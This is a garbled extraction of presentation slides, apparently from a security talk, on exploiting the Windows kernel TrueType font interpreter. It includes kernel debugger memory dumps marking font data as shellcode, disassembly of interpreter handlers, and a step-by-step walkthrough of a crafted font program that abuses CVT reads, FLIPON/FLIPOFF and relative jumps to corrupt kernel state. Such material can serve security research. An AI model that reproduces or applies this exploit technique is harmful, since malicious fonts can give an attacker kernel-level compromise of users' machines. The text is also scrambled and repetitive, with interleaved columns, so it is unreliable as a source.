Graphics State Summary Aha! The following tables summarize the variables that make up the Graphics State. Nearly all of the Graphics State variables have a default value as shown below. That value is reestablished for every glyph in a font. Instructions are available for resetting the value of all Graphics State variables. Some state variables can be reset in the CVT Program. In such cases the value set becomes the new default and will be reestablished for each glyph. When value of a state variable is changed by instructions associated with a particular glyph, it will hold only for that glyph. The setting of the Graphics State variables will affect the actions of certain instructions. Affected instructions are listed for each variable. Graphics State Variable Default Set With Affects auto_flip TRUE FLIPOFF FLIPON MIAP MIRP control_value_cut_in 17/16 pixels SCVTCI MIAP MIRP delta_base 9 SDB DELTAP1 DELTAP2 DELTAP3 DELTAC1 DELTAC2 DELTAC3 delta_shift 3 SDS DELTAP1 DELTAP2 DELTAP3 DELTAC1 DELTAC2 DELTAC3 dual_projection_vectors — SDPVTL IP GC MD MDRP MIRP Revision 1.66 File Name: grstate.doc Friday, March 8, 2013 Page 357 In other words, ABS() Managing the direction of distances The auto_flip variable owes its existence to the fact that the TrueType interpreter distinguishes between distances measured in the direction of the projection_vector (positive distances) and those that are measured in the direction opposite to the projection_vector (negative distances). The setting of the auto_flip Boolean determines whether the sign of values in the Control Value Table is significant. [...] Friday, March 8, 2013 CVT e2481f80 00000000 CVT+4 = Global State kd> dd e2481f84 L100 e2481f84 e2481afc e2481f00 e2481f80 00030004 [CVT+4] = Stack e2481f94 00040000 00000000 00000000 00000000 e2481fa4 00000000 00000044 00000000 00000000 e2481fb4 00000000CVT+[0x2C*4]: 00000000 00000040 bf85c269 e2481fc4 00000003 00000000 00000000 00000000 Font Data = e2481fd4 00030009[CVT+[0x2C*4]] 00000080 00000001 =00000044 e2481fe4 00000000 00000000 00000000 00000000 e2481ff4 00000040 bf85c269 00000003 00000000 e2482004 00000000 00000000 00030009 00010080 e2482014 00000001 e2481f80 e2481f80 00000000 e2482024 00000000 bf85bd4b bf85bd4b e2482368 e2482034 e24bdbb3 0000000d e2482318 0003b89b e2482044 00000000 00000000 00000000 00000000 e2482054 00000000 00000000 00000000 00000000 e2482064 00002000 00000400 00000080 0000000a e2482074 00002000 00000400 00000080 0000000a e2482084 00002000 00000400 00000080 0000000a e2482094 00010000 00010000 00000001 00000000 e24820a4 00000000 00000200 00000000 00000001 e24820b4 e2481290 00000081 00040000 00040000 e24820c4 00040000 00040000 00000000 00000001 e24820d4 00002710 00000064 00989680 e1c5d4b0 Friday, March 8, 2013 Base Shellcode CVT e2481f80 00000000 CVT+4 = Global State kd> dd e2481f84 L100 e2481f84 e2481afc e2481f00 e2481f80 00030004 [CVT+4] = Stack Base e2481f94 00040000 00000000 00000000 00000000 e2481fa4 00000000 00000044 00000000 00000000 e2481fb4 00000000CVT+[0x2C*4]: 00000000 00000040 bf85c269 e2481fc4 00000003 00000000 00000000 00000000 Font Data = Shellcode e2481fd4 00030009[CVT+[0x2C*4]] 00000080 00000001 =00000044 e2481fe4 00000000 00000000 00000000 00000000 e2481ff4 00000040 bf85c269 00000003 00000000 e2482004 00000000 00000000 00030009 00010080 e2482014 00000001 e2481f80 e2481f80 00000000 e2482024 00000000 bf85bd4b bf85bd4b e2482368 e2482034 e24bdbb3 0000000d e2482318 0003b89b e2482044 00000000 00000000 00000000 00000000 kd> 00000000 dd e2482368 e2482054 00000000 00000000 00000000 e2482368 fffffbe8 000000ff 00000000 00000000 e2482064 00002000 00000400 00000080 0000000a e2482378 00000000 00000000 00000000 00000000 e2482074 00002000 00000400 00000080 0000000a e2482388 00000000 00000000 00000000 00000000 e2482084 00002000 00000400 00000080 0000000a e2482094 00010000 00010000 00000001 00000000 e24820a4 00000000 00000200 00000000 00000001 e24820b4 e2481290 00000081 00040000 00040000 e24820c4 00040000 00040000 00000000 00000001 e24820d4 00002710 00000064 00989680 e1c5d4b0 Friday, March 8, 2013 CVT e2481f80 00000000 CVT+4 = Global State kd> dd e2481f84 L100 e2481f84 e2481afc e2481f00 e2481f80 00030004 [CVT+4] = Stack Base e2481f94 00040000 00000000 00000000 00000000 e2481fa4 00000000 00000044 00000000 00000000 e2481fb4 00000000CVT+[0x2C*4]: 00000000 00000040 bf85c269 e2481fc4 00000003 00000000 00000000 00000000 Font Data = Shellcode e2481fd4 00030009[CVT+[0x2C*4]] 00000080 00000001 =00000044 e2481fe4 00000000 00000000 00000000 00000000 e2481ff4 00000040 bf85c269 00000003 00000000 e2482004 00000000 00000000 00030009 00010080 e2482014 00000001 e2481f80 e2481f80 00000000 e2482024 00000000 bf85bd4b bf85bd4b e2482368 e2482034 e24bdbb3 0000000d e2482318 0003b89b e2482044 00000000 00000000 00000000 00000000 kd> 00000000 dd e2482368 e2482054 00000000 00000000 00000000 e2482368 fffffbe8 000000ff 00000000 00000000 e2482064 00002000 00000400 00000080 0000000a e2482378 00000000 00000000 00000000 00000000 e2482074 00002000 00000400 00000080 0000000a e2482388 00000000 00000000 00000000 00000000 e2482084 00002000 00000400 00000080 0000000a e2482094 00010000 00010000 00000001 00000000 e24820a4 00000000 00000200 00000000 00000001 e24820b4 e2481290 00000081 00040000 00040000 e24820c4 00040000 00040000 00000000 00000001 e24820d4 00002710 00000064 00989680 e1c5d4b0 00000000 Friday, March 8, 2013 E8FBFFFFFF call 0x0 CVT e2481f80 00000000 CVT+4 = Global State kd> dd e2481f84 L100 e2481f84 e2481afc e2481f00 e2481f80 00030004 [CVT+4] = Stack Base e2481f94 00040000 00000000 00000000 00000000 e2481fa4 00000000 00000044 00000000 00000000 e2481fb4 00000000CVT+[0x2C*4]: 00000000 00000040 bf85c269 e2481fc4 00000003 00000000 00000000 00000000 Font Data = Shellcode e2481fd4 00030009[CVT+[0x2C*4]] 00000080 00000001 =00000044 e2481fe4 00000000 00000000 00000000 00000000 e2481ff4 00000040 bf85c269 00000003 00000000 e2482004 00000000 00000000 00030009 00010080 e2482014 00000001 e2481f80 e2481f80 00000000 e2482024 00000000 bf85bd4b bf85bd4b e2482368 e2482034 e24bdbb3 0000000d e2482318 0003b89b e2482044 00000000 00000000 00000000 00000000 e2482054 00000000 00000000 00000000 00000000 e2482314 00000000 b8c07fb8 b863c001 b860403a e2482064 00002000 00000400 00000080 0000000a e2482324 1c600c00 00000000 00000000 00000000 e2482074 00002000 00000400 00000080 0000000a e2482084 00002000 00000400 00000080 0000000a e2482094 00010000 00010000 00000001 00000000 e24820a4 00000000 00000200 00000000 00000001 e24820b4 e2481290 00000081 00040000 00040000 e24820c4 00040000 00040000 00000000 00000001 e24820d4 00002710 00000064 00989680 e1c5d4b0 Friday, March 8, 2013 MIRP single_width_value 0 pixels SSW MIAP MIRP Opcode 0x1F = SSW = itrp_LSW(x,x) Page 360 Friday, March 8, 2013 Revision 1.66 File Name: grstate.doc ; __fastcall itrp_LSW(x, x) @itrp_LSW@8 proc near mov push mov push push ; CODE XREF: itrp_InnerExecute(x,x)+2B^Xp ; itrp_InnerTraceExecute(x,x)+56^Xp ; DATA XREF: ... eax, dword_BF9A9234 ebx ebx, [eax] esi edi mov dword_BF9A927C, 1110h pop ebx retn ; --------------------------------------------------------------------------loc_BF98B9F9: @itrp_LSW@8 Friday, March 8, 2013 ; CODE XREF: itrp_LSW(x,x)+28^Xj sub mov mov movsx mov lea call mov mov pop pop pop retn endp ecx, 4 dword_BF9A9228, ecx ecx, [ecx] edx, cx [esi+32h], cx ecx, [eax+100h] dword ptr [eax+0ACh] [esi+8], eax eax, edi edi esi ebx ; __fastcall itrp_LSW(x, x) @itrp_LSW@8 proc near mov push mov push push ; CODE XREF: itrp_InnerExecute(x,x)+2B^Xp ; itrp_InnerTraceExecute(x,x)+56^Xp ; DATA XREF: ... eax, dword_BF9A9234 ebx ebx, [eax] esi edi e2481f80 00000000 mov dword_BF9A927C, 1110h kd> L100 popdd e2481f84 ebx retn e2481f84 e2481afc e2481f00 e2481f80 00030004 ; --------------------------------------------------------------------------e2481f94 00040000 00000000 00000000 00000000 loc_BF98B9F9: ... ; CODE XREF: itrp_LSW(x,x)+28^Xj e2482024 00000000 bf85bd4b bf85bd4b e2482368 sub ecx, 4 e2482034 mov dword_BF9A9228, e24bdbb3 0000000d ecx e2482318 0003b89b @itrp_LSW@8 Friday, March 8, 2013 mov movsx mov lea call mov mov pop pop pop retn endp ecx, [ecx] edx, cx [esi+32h], cx ecx, [eax+100h] dword ptr [eax+0ACh] [esi+8], eax eax, edi edi esi ebx [CVT+0xAC] = “SSW” ; __fastcall itrp_LSW(x, x) @itrp_LSW@8 proc near ; CODE XREF: itrp_InnerExecute(x,x)+2B^Xp ; itrp_InnerTraceExecute(x,x)+56^Xp ; DATA XREF: ... kd> dd e2482368 eax, dword_BF9A9234 e2482368 mov fffffbe8 000000ff 00000000 00000000 push ebx e2482378 mov 00000000 00000000 00000000 ebx, 00000000 [eax] e2482388 push 00000000 esi 00000000 00000000 00000000 push edi e2481f80 00000000 mov dword_BF9A927C, 1110h kd> L100 popdd e2481f84 ebx retn e2481f84 e2481afc e2481f00 e2481f80 00030004 ; --------------------------------------------------------------------------e2481f94 00040000 00000000 00000000 00000000 loc_BF98B9F9: ... ; CODE XREF: itrp_LSW(x,x)+28^Xj e2482024 00000000 bf85bd4b bf85bd4b e2482368 sub ecx, 4 e2482034 mov dword_BF9A9228, e24bdbb3 0000000d ecx e2482318 0003b89b @itrp_LSW@8 Friday, March 8, 2013 mov movsx mov lea call mov mov pop pop pop retn endp ecx, [ecx] edx, cx [esi+32h], cx ecx, [eax+100h] dword ptr [eax+0ACh] [esi+8], eax eax, edi edi esi ebx [CVT+0xAC] = “SSW” ; __fastcall itrp_LSW(x, x) @itrp_LSW@8 proc near ; CODE XREF: itrp_InnerExecute(x,x)+2B^Xp ; itrp_InnerTraceExecute(x,x)+56^Xp ; DATA XREF: ... kd> dd e2482368 eax, dword_BF9A9234 e2482368 mov fffffbe8 000000ff 00000000 00000000 push ebx e2482378 mov 00000000 00000000 00000000 ebx, 00000000 [eax] e2482388 push 00000000 esi 00000000 00000000 00000000 push edi e2481f80 00000000 mov dword_BF9A927C, 1110h kd> L100 popdd e2481f84 ebx retn e2481f84 e2481afc e2481f00 e2481f80 00030004 ; --------------------------------------------------------------------------e2481f94 00040000 00000000 00000000 00000000 loc_BF98B9F9: ... ; CODE XREF: itrp_LSW(x,x)+28^Xj e2482024 00000000 bf85bd4b bf85bd4b e2482368 sub ecx, 4 e2482034 mov dword_BF9A9228, e24bdbb3 0000000d ecx e2482318 0003b89b mov movsx mov lea call mov mov pop pop pop retn endp 00000000 @itrp_LSW@8 Friday, March 8, 2013 ecx, [ecx] edx, cx [esi+32h], cx ecx, [eax+100h] dword ptr [eax+0ACh] [esi+8], eax eax, edi edi esi ebx [CVT+0xAC] = “SSW” E8FBFFFFFF call 0x0 Font Program Walkthrough Friday, March 8, 2013 00000: PUSHB[1] 00002: PUSHB[1] 00004: WS 0 0 Push One Byte→0 Push One Byte→0x00000000 Friday, March 8, 2013 00000: PUSHB[1] 00002: PUSHB[1] 00004: WS 0 0 Push One Byte→0x00000000 Push One Byte→0x00000000 Friday, March 8, 2013 00000: PUSHB[1] 00002: PUSHB[1] 00004: WS 0 0 WS Value←0x00000000 WS Location←0x00000000 Friday, March 8, 2013 00000: PUSHB[1] 00002: PUSHB[1] 00004: WS 0 0 Storage Table: 0 1 2 3 4 5 6 7 8 9 10111213141516171819202122232 0 WS Value←0x00000000 WS Location←0x00000000 Friday, March 8, 2013 00000: PUSHB[1] 00002: PUSHB[1] 00004: WS 0 0 Storage Table: 0 1 2 3 4 5 6 7 8 9 0 'maxp' Table - Maximum Profile -----------------------------Size = 32 bytes (expecting 32 bytes) 'maxp' version: 1.0 numGlyphs: 6 maxPoints: 2 maxContours: 1 maxCompositePoints: 0 maxCompositeContours: 0 10111213141516171819202122232 maxZones: 1 maxTwilightPoints: 0 maxStorage: 32 maxFunctionDefs: 0 maxInstructionDefs: 0 maxStackElements: 256 maxSizeOfInstructions: 0 maxComponentElements: 0 maxComponentDepth: 0 WS Value←0x00000000 WS Location←0x00000000 Friday, March 8, 2013 00000: PUSHB[1] 00002: PUSHB[1] 00004: WS 00005: 00006: 00008: 00009: 00010: 00011: 00013: 00014: 00015: 00016: 00018: 00019: Friday, March 8, 2013 0 0 FLIPOFF PUSHB[1] 0 RS RCVT FLIPON PUSHB[1] 0 RS RCVT SUB PUSHB[1] 23 SWAP JROT ; (19+23=42) 00000: PUSHB[1] 00002: PUSHB[1] 00004: WS 0 0 00005: FLIPOFF 00006: PUSHB[1] 0 00008: RS ; __fastcall itrp_FLIPOFF(x, 00009: RCVT @itrp_FLIPOFF@8 proc near 00010: FLIPON 00011: PUSHB[1] 0 mov eax, 00013: RS mov ecx, 00014: RCVT mov byte 00015: SUB 00016: PUSHB[1] 23 retn @itrp_FLIPOFF@8 endp 00018: SWAP 00019: JROT ; (19+23=42) Friday, March 8, 2013 x) ecx dword_BF9A9234 ptr [ecx+90h], 0 00000: PUSHB[1] 00002: PUSHB[1] 00004: WS 0 0 00005: FLIPOFF 00006: PUSHB[1] 0 00008: RS 00009: RCVT 00010: FLIPON 00011: PUSHB[1] 0 00013: RS ; __fastcall itrp_FLIPON(x, x) 00014: RCVT @itrp_FLIPON@8 proc near 00015: SUB 00016: PUSHB[1] 23 mov eax, ecx 00018: SWAP mov ecx, dword_BF9A9234 00019: JROT ; (19+23=42) mov byte ptr [ecx+90h], 1 retn @itrp_FLIPON@8 endp Friday, March 8, 2013 = CVT[1] = Global State e2481f80 ecx 00000000 00000: PUSHB[1] 0 kd> dd e2481f84 L100 00002: PUSHB[1] 0 e2481f84 e2481afc e2481f00 e2481f80 000300 e2481f94 00040000 00000000 00000000 000000 00004: WS e2481fa4 00000000 00000044 00000000 000000 e2481fb4 00000000 00000000 00000040 bf85c2 00005: FLIPOFF 00006: PUSHB[1] 0 e2481fc4 00000003 00000000 00000000 000000 e2481fd4 00030009 00000080 00000001 000000 00008: RS e2481fe4 00000000 00000000 00000000 000000 00009: RCVT e2481ff4 00000040 bf85c269 00000003 000000 e2482004 00000000 00000000 00030009 000100 00010: FLIPON e2482014 00000001 e2481f80 e2481f80 000000 +0x90: auto_flip 00011: PUSHB[1] 0 e2482024 00000000 bf85bd4b bf85bd4b e24823 00013: RS e2482034 e24bdbb3 ; __fastcall itrp_FLIPON(x, x)0000000d e2482318 0003b8 e2482044 00000000 00000000 00000000 000000 00014: RCVT @itrp_FLIPON@8 e2482054 proc near 00000000 00000000 00000000 000000 00015: SUB e2482064 00002000 00000400 00000080 000000 00016: PUSHB[1] 23 e2482074 00002000 00000400 00000080 000000 mov eax, ecx e2482084 00002000 00000400 00000080 000000 00018: SWAP mov ecx, dword_BF9A9234 e2482094 00010000 00010000 00000001 000000 00019: JROT ; (19+23=42) mov byte ptr [ecx+90h], 1 e24820a4 00000000 00000200 00000000 000000 e24820b4 e2481290 00000081 00040000 000400 retn e24820c4 00040000 00040000 00000000 000000 @itrp_FLIPON@8 endp e24820d4 00002710 00000064 00989680 e1c5d4 Friday, March 8, 2013 00000: PUSHB[1] 00002: PUSHB[1] 00004: WS 00005: 00006: 00008: 00009: 00010: 00011: 00013: 00014: 00015: 00016: 00018: 00019: 0 0 FLIPOFF PUSHB[1] 0 RS RCVT FLIPON PUSHB[1] 0 RS RCVT SUB PUSHB[1] 23 SWAP JROT ; (19+23=42) Push One Byte→0 Push One Byte→0x00000000 Friday, March 8, 2013 00000: PUSHB[1] 00002: PUSHB[1] 00004: WS 00005: 00006: 00008: 00009: 00010: 00011: 00013: 00014: 00015: 00016: 00018: 00019: 0 0 FLIPOFF PUSHB[1] 0 RS RCVT FLIPON PUSHB[1] 0 RS RCVT SUB PUSHB[1] 23 SWAP JROT ; (19+23=42) Push One Byte→0 RS Location←0x00000000 Friday, March 8, 2013 00000: PUSHB[1] 00002: PUSHB[1] 00004: WS 00005: 00006: 00008: 00009: 00010: 00011: 00013: 00014: 00015: 00016: 00018: 00019: 0 0 FLIPOFF PUSHB[1] 0 RS RCVT FLIPON PUSHB[1] 0 RS RCVT SUB PUSHB[1] 23 SWAP JROT ; (19+23=42) RS Location Storage Table: 0 1 2 3 4 5 6 7 8 9 101 0 Push One Byte→0 RS Value→0x00000000 Friday, March 8, 2013 00000: PUSHB[1] 00002: PUSHB[1] 00004: WS 00005: 00006: 00008: 00009: 00010: 00011: 00013: 00014: 00015: 00016: 00018: 00019: 0 0 FLIPOFF PUSHB[1] 0 RS RCVT FLIPON PUSHB[1] 0 RS RCVT SUB PUSHB[1] 23 SWAP JROT ; (19+23=42) Push One Byte→0 CVT Entry Number←0x00000000 Friday, March 8, 2013 00000: PUSHB[1] 00002: PUSHB[1] 00004: WS 00005: 00006: 00008: 00009: 00010: 00011: 00013: 00014: 00015: 00016: 00018: 00019: 0 0 FLIPOFF PUSHB[1] 0 RS RCVT FLIPON PUSHB[1] 0 RS RCVT SUB PUSHB[1] 23 SWAP JROT ; (19+23=42) 'cvt ' Table - Control Value Table ---------------------------------Size = 2 bytes, 1 entries Values -----0: 0 Remember, Original CVT: 0 0 Push One Byte→0 CVT Entry Number←0x00000000 Friday, March 8, 2013 00000: PUSHB[1] 00002: PUSHB[1] 00004: WS 0 0 CVT now has 129 entries 00005: FLIPOFF 00006: PUSHB[1] 0 00008: RS 000009: 1 2 3RCVT 4 5 6 7 8 9 10111213141516171819202122232 00010: FLIPON 0 00011: PUSHB[1] 0 00013: RS 00014: RCVT 00015: SUB 00016: PUSHB[1] 23 00018: SWAP 00019: JROT ; (19+23=42) Push One Byte→0 CVT Entry Number←0x00000000 Friday, March 8, 2013 00000: PUSHB[1] 00002: PUSHB[1] 00004: WS 0 0 CVT now has 129 entries 00005: FLIPOFF 00006: PUSHB[1] 0 00008: RS 000009: 1 2 3RCVT 4 5 6 7 8 9 10111213141516171819202122232 00010: FLIPON 0 00011: PUSHB[1] 0 00013: RS e2481f80 00000000 CVT[0] 00014: RCVT kd> dd e2481f84 L100 e2481f84 e2481afc e2481f00 e2481f80 00030004 00015: SUB e2481f94 00040000 00000000 00000000 00000000 00016: PUSHB[1] e2481fa4 23 00000000 00000044 00000000 00000000 00018: SWAP e2481fb4 00000000 00000000 00000040 bf85c269 CVT[1]00000000 = Global State e2481fc4 00000003 00000000 00000000 00019: JROT ; (19+23=42) Friday, March 8, 2013 e2481fd4 e2481fe4 e2481ff4 e2482004 e2482014 e2482024 00030009 00000000 00000040 00000000 00000001 00000000 00000080 00000000 bf85c269 00000000 e2481f80 bf85bd4b 00000001 00000000 00000003 00030009 e2481f80 bf85bd4b 00000044 00000000 00000000 00010080 00000000 e2482368 00000: PUSHB[1] 00002: PUSHB[1] 00004: WS 00005: 00006: 00008: 00009: 00010: 00011: 00013: 00014: 00015: 00016: 00018: 00019: 0 0 FLIPOFF PUSHB[1] 0 RS RCVT FLIPON PUSHB[1] 0 RS RCVT SUB PUSHB[1] 23 SWAP JROT ; (19+23=42) Push One Byte→0 CVT Value→0x00000000 Friday, March 8, 2013 = CVT[1] = Global State e2481f80 ecx 00000000 00000: PUSHB[1] 0 kd> dd e2481f84 L100 00002: PUSHB[1] 0 e2481f84 e2481afc e2481f00 e2481f80 000300 e2481f94 00040000 00000000 00000000 000000 00004: WS e2481fa4 00000000 00000044 00000000 000000 e2481fb4 00000000 00000000 00000040 bf85c2 00005: FLIPOFF 00006: PUSHB[1] 0 e2481fc4 00000003 00000000 00000000 000000 e2481fd4 00030009 00000080 00000001 000000 00008: RS e2481fe4 00000000 00000000 00000000 000000 00009: RCVT e2481ff4 00000040 bf85c269 00000003 000000 e2482004 00000000 00000000 00030009 000100 00010: FLIPON e2482014 00000001 e2481f80 e2481f80 000000 +0x90: auto_flip 00011: PUSHB[1] 0 e2482024 00000000 bf85bd4b bf85bd4b e24823 00013: RS e2482034 e24bdbb3 ; __fastcall itrp_FLIPON(x, x)0000000d e2482318 0003b8 e2482044 00000000 00000000 00000000 000000 00014: RCVT @itrp_FLIPON@8 e2482054 proc near 00000000 00000000 00000000 000000 00015: SUB e2482064 00002000 00000400 00000080 000000 00016: PUSHB[1] 23 e2482074 00002000 00000400 00000080 000000 mov eax, ecx e2482084 00002000 00000400 00000080 000000 00018: SWAP mov ecx, dword_BF9A9234 e2482094 00010000 00010000 00000001 000000 00019: JROT ; (19+23=42) mov byte ptr [ecx+90h], 1 e24820a4 00000000 00000200 00000000 000000 e24820b4 e2481290 00000081 00040000 000400 retn e24820c4 00040000 00040000 00000000 000000 @itrp_FLIPON@8 endp e24820d4 00002710 00000064 00989680 e1c5d4 Friday, March 8, 2013 00000: PUSHB[1] 00002: PUSHB[1] 00004: WS 00005: 00006: 00008: 00009: 00010: 00011: 00013: 00014: 00015: 00016: 00018: 00019: 0 0 FLIPOFF PUSHB[1] 0 RS RCVT FLIPON PUSHB[1] 0 RS RCVT SUB PUSHB[1] 23 SWAP JROT ; (19+23=42) Push One Byte→0x00000000 CVT Value→0x00000000 Friday, March 8, 2013 00000: PUSHB[1] 00002: PUSHB[1] 00004: WS 00005: 00006: 00008: 00009: 00010: 00011: 00013: 00014: 00015: 00016: 00018: 00019: 0 0 FLIPOFF PUSHB[1] 0 RS RCVT FLIPON PUSHB[1] 0 RS RCVT SUB PUSHB[1] 23 SWAP JROT ; (19+23=42) RS Location←0x00000000 CVT Value→0x00000000 Friday, March 8, 2013 00000: PUSHB[1] 00002: PUSHB[1] 00004: WS 00005: 00006: 00008: 00009: 00010: 00011: 00013: 00014: 00015: 00016: 00018: 00019: 0 0 FLIPOFF PUSHB[1] 0 RS RCVT FLIPON PUSHB[1] 0 RS RCVT SUB PUSHB[1] 23 SWAP JROT ; (19+23=42) RS Value→0x00000000 CVT Value→0x00000000 Friday, March 8, 2013 00000: PUSHB[1] 00002: PUSHB[1] 00004: WS 00005: 00006: 00008: 00009: 00010: 00011: 00013: 00014: 00015: 00016: 00018: 00019: 0 0 FLIPOFF PUSHB[1] 0 RS RCVT FLIPON PUSHB[1] 0 RS RCVT SUB PUSHB[1] 23 SWAP JROT ; (19+23=42) CVT Entry Number←0x00000000 CVT Value→0x00000000 Friday, March 8, 2013 00000: PUSHB[1] 00002: PUSHB[1] 00004: WS 00005: 00006: 00008: 00009: 00010: 00011: 00013: 00014: 00015: 00016: 00018: 00019: 0 0 FLIPOFF PUSHB[1] 0 RS RCVT FLIPON PUSHB[1] 0 RS RCVT SUB PUSHB[1] 23 SWAP JROT ; (19+23=42) CVT Value→0x00000000 CVT Value→0x00000000 Friday, March 8, 2013 00000: PUSHB[1] 00002: PUSHB[1] 00004: WS 00005: 00006: 00008: 00009: 00010: 00011: 00013: 00014: 00015: 00016: 00018: 00019: 0 0 FLIPOFF PUSHB[1] 0 RS RCVT FLIPON PUSHB[1] 0 RS RCVT SUB PUSHB[1] 23 SWAP JROT ; (19+23=42) Second Operand←0x00000000 First Operand←0x00000000 Friday, March 8, 2013 00000: PUSHB[1] 00002: PUSHB[1] 00004: WS 00005: 00006: 00008: 00009: 00010: 00011: 00013: 00014: 00015: 00016: 00018: 00019: 0 0 FLIPOFF PUSHB[1] 0 RS RCVT FLIPON PUSHB[1] 0 RS RCVT SUB PUSHB[1] 23 SWAP JROT ; (19+23=42) Second Operand←0x00000000 (First-Second)→0x00000000 Friday, March 8, 2013 00000: PUSHB[1] 00002: PUSHB[1] 00004: WS 00005: 00006: 00008: 00009: 00010: 00011: 00013: 00014: 00015: 00016: 00018: 00019: 0 0 FLIPOFF PUSHB[1] 0 RS RCVT FLIPON PUSHB[1] 0 RS RCVT SUB PUSHB[1] 23 SWAP JROT ; (19+23=42) Second Operand←0x00000000 (Old CVT-New CVT)→0x00000000 Friday, March 8, 2013 00000: PUSHB[1] 00002: PUSHB[1] 00004: WS 00005: 00006: 00008: 00009: 00010: 00011: 00013: 00014: 00015: 00016: 00018: 00019: 0 0 FLIPOFF PUSHB[1] 0 RS RCVT FLIPON PUSHB[1] 0 RS RCVT SUB PUSHB[1] 23 SWAP JROT ; (19+23=42) Push One Byte→0x00000017 (Old CVT-New CVT)→0x00000000 Friday, March 8, 2013 00000: PUSHB[1] 00002: PUSHB[1] 00004: WS 00005: 00006: 00008: 00009: 00010: 00011: 00013: 00014: 00015: 00016: 00018: 00019: 0 0 FLIPOFF PUSHB[1] 0 RS RCVT FLIPON PUSHB[1] 0 RS RCVT SUB PUSHB[1] 23 SWAP JROT ; (19+23=42) (Old CVT-New CVT)↔0x00000000 Push One Byte↔0x00000017 Friday, March 8, 2013 00000: PUSHB[1] 00002: PUSHB[1] 00004: WS 00005: 00006: 00008: 00009: 00010: 00011: 00013: 00014: 00015: 00016: 00018: 00019: 0 0 FLIPOFF PUSHB[1] 0 RS RCVT FLIPON PUSHB[1] 0 RS RCVT SUB PUSHB[1] 23 SWAP JROT ; (19+23=42) If This Is True←0x00000000 Then Jump Relative Offset←0x00000017 Friday, March 8, 2013 00000: PUSHB[1] 00002: PUSHB[1] 00004: WS 00005: 00006: 00008: 00009: 00010: 00011: 00013: 00014: 00015: 00016: 00018: 00019: 0 0 FLIPOFF PUSHB[1] 0 RS RCVT FLIPON PUSHB[1] 0 RS RCVT SUB PUSHB[1] 23 SWAP JROT ; (19+23=42) 00042: 00044: 00045: 00046: 00048: 00049: 00050: 00052: 00053: 00054: 00056: 00057: 00058: 00059: 00061: 00062: 00063: 00064: 00066: 00067: PUSHB[1] RS DUP PUSHB[1] SUB DUP PUSHB[1] SUB RCVT PUSHB[1] SWAP WS RCVT PUSHB[1] SWAP WS RCVT PUSHB[1] SWAP WS 0 1 1 1 2 3 If This Is True←0x00000000 Then Jump Relative Offset←0x00000017 Friday, March 8, 2013 00000: PUSHB[1] 00002: PUSHB[1] 00004: WS 00005: 00006: 00008: 00009: 00010: 00011: 00013: 00014: 00015: 00016: 00018: 00019: 0 0 FLIPOFF PUSHB[1] 0 RS RCVT FLIPON PUSHB[1] 0 RS RCVT SUB PUSHB[1] 23 SWAP JROT ; (19+23=42) 00020: 00022: 00023: 00025: 00026: 00027: 00029: 00030: 00031: 00033: 00034: 00037: 00038: PUSHB[1] 0 RS PUSHB[1] 1 ADD DUP PUSHB[1] 0 SWAP WS PUSHB[1] 80 0x50 SUB PUSHW[1] -33 SWAP JROT ;(38-33=5) Not True, So Falls Through If This Is True←0x00000000 Push One Byte→0x00000000 Friday, March 8, 2013 00000: PUSHB[1] 00002: PUSHB[1] 00004: WS 00005: 00006: 00008: 00009: 00010: 00011: 00013: 00014: 00015: 00016: 00018: 00019: 0 0 FLIPOFF PUSHB[1] 0 RS RCVT FLIPON PUSHB[1] 0 RS RCVT SUB PUSHB[1] 23 SWAP JROT ; (19+23=42) 00020: 00022: 00023: 00025: 00026: 00027: 00029: 00030: 00031: 00033: 00034: 00037: 00038: PUSHB[1] 0 RS PUSHB[1] 1 ADD DUP PUSHB[1] 0 SWAP WS PUSHB[1] 80 0x50 SUB PUSHW[1] -33 SWAP JROT ;(38-33=5) If This Is True←0x00000000 RS Location←0x00000000 Friday, March 8, 2013 00000: PUSHB[1] 00002: PUSHB[1] 00004: WS 00005: 00006: 00008: 00009: 00010: 00011: 00013: 00014: 00015: 00016: 00018: 00019: 0 0 FLIPOFF PUSHB[1] 0 RS RCVT FLIPON PUSHB[1] 0 RS RCVT SUB PUSHB[1] 23 SWAP JROT ; (19+23=42) 00020: 00022: 00023: 00025: 00026: 00027: 00029: 00030: 00031: 00033: 00034: 00037: 00038: PUSHB[1] 0 RS PUSHB[1] 1 ADD DUP PUSHB[1] 0 SWAP WS PUSHB[1] 80 0x50 SUB PUSHW[1] -33 SWAP JROT ;(38-33=5) If This Is True←0x00000000 RS Value→0x00000000 Friday, March 8, 2013 00000: PUSHB[1] 00002: PUSHB[1] 00004: WS 00005: 00006: 00008: 00009: 00010: 00011: 00013: 00014: 00015: 00016: 00018: 00019: 0 0 FLIPOFF PUSHB[1] 0 RS RCVT FLIPON PUSHB[1] 0 RS RCVT SUB PUSHB[1] 23 SWAP JROT ; (19+23=42) 00020: 00022: 00023: 00025: 00026: 00027: 00029: 00030: 00031: 00033: 00034: 00037: 00038: PUSHB[1] 0 RS PUSHB[1] 1 ADD DUP PUSHB[1] 0 SWAP WS PUSHB[1] 80 0x50 SUB PUSHW[1] -33 SWAP JROT ;(38-33=5) Push One Byte→0x00000001 RS Value→0x00000000 Friday, March 8, 2013 00000: PUSHB[1] 00002: PUSHB[1] 00004: WS 00005: 00006: 00008: 00009: 00010: 00011: 00013: 00014: 00015: 00016: 00018: 00019: 0 0 FLIPOFF PUSHB[1] 0 RS RCVT FLIPON PUSHB[1] 0 RS RCVT SUB PUSHB[1] 23 SWAP JROT ; (19+23=42) 00020: 00022: 00023: 00025: 00026: 00027: 00029: 00030: 00031: 00033: 00034: 00037: 00038: PUSHB[1] 0 RS PUSHB[1] 1 ADD DUP PUSHB[1] 0 SWAP WS PUSHB[1] 80 0x50 SUB PUSHW[1] -33 SWAP JROT ;(38-33=5) Second Operand←0x00000001 First Operand←0x00000000 Friday, March 8, 2013 00000: PUSHB[1] 00002: PUSHB[1] 00004: WS 00005: 00006: 00008: 00009: 00010: 00011: 00013: 00014: 00015: 00016: 00018: 00019: 0 0 FLIPOFF PUSHB[1] 0 RS RCVT FLIPON PUSHB[1] 0 RS RCVT SUB PUSHB[1] 23 SWAP JROT ; (19+23=42) 00020: 00022: 00023: 00025: 00026: 00027: 00029: 00030: 00031: 00033: 00034: 00037: 00038: PUSHB[1] 0 RS PUSHB[1] 1 ADD DUP PUSHB[1] 0 SWAP WS PUSHB[1] 80 0x50 SUB PUSHW[1] -33 SWAP JROT ;(38-33=5) Second Operand←0x00000001 (First+Second)→0x00000001 Friday, March 8, 2013 00000: PUSHB[1] 00002: PUSHB[1] 00004: WS 00005: 00006: 00008: 00009: 00010: 00011: 00013: 00014: 00015: 00016: 00018: 00019: 0 0 